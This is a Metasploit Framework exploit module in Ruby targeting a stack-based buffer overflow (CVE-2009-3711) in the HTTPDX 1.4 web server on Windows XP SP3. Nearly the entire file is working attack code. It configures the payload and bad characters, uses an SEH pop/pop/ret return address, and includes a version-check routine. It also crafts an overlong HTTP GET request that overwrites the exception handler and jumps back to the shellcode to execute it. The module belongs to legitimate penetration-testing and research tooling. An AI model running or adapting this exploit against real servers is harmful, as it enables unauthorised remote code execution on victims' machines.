###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

##
# httpdx_handlepeer.rb
#
# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms
#  - HTTPDX 1.4 on Microsoft Windows XP SP3
#
# This vulnerability was found by Pankaj Kohli, see references.
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	
	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The 
				vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
				By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
			},
			'Author'         =>
				[ 
					'Pankaj Kohli <pankaj208[at]gmail.com>',	# Original exploit [see References]
					'Trancer <mtrancer[at]gmail.com>',			# Metasploit implementation
					'jduck'
				],
			'References'     =>
				[
					[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
					[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
					[ 'OSVDB', '58714' ],
					[ 'CVE', '2009-3711' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 476,
					# other characters get mangled, but only in a temporary buffer
					'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",
					'StackAdjustment' => -3500,
					# 'DisableNops'	=>  'True'
				},
			'Platform'       => 'win',
			'Targets'        =>
			[
				[	'httpdx 1.4 - Windows XP SP3 English',
					{
						'Offset' 	=> 476,
						'Ret' 		=> 0x63b81a07, 	# seh handler (pop/pop/ret in n.dll)
						'Readable' 	=> 0x63b80131 	# early in n.dll
					}
				]
			],
			'DefaultTarget'  => 0))
			register_options( [ Opt::RPORT(80) ], self.class )
	end

	def check
		connect

		sock.put("GET / HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect
		
		# this will need to be updated if httpdx is ever fixed :)
		if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
			print_status("HTTPDX version detected : #{m[1]}")
			if m[1] =~ /"1\.4"/
				return Exploit::CheckCode::Appears
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		
		uri = payload.encoded
		if target['Offset'] > payload_space
			pad = target['Offset'] - payload_space
			uri << rand_text(pad)
		end
		uri << generate_seh_record(target.ret)
		# jmp back to shellcode
		uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
		# extra causing hitting end of the stack
		uri << rand_text_alphanumeric(1024)
		uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
		
		sploit = rand_text(3) + "=" + uri
		request = "GET /" + sploit + " HTTP/1.1\r\n"
		# an empty host header gives us 512 bytes in the client structure
		# (client->filereq and client->host)
		request << "Host: \r\n"
		request << "\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(request)
		sock.close

		disconnect
		handler
	end
	
end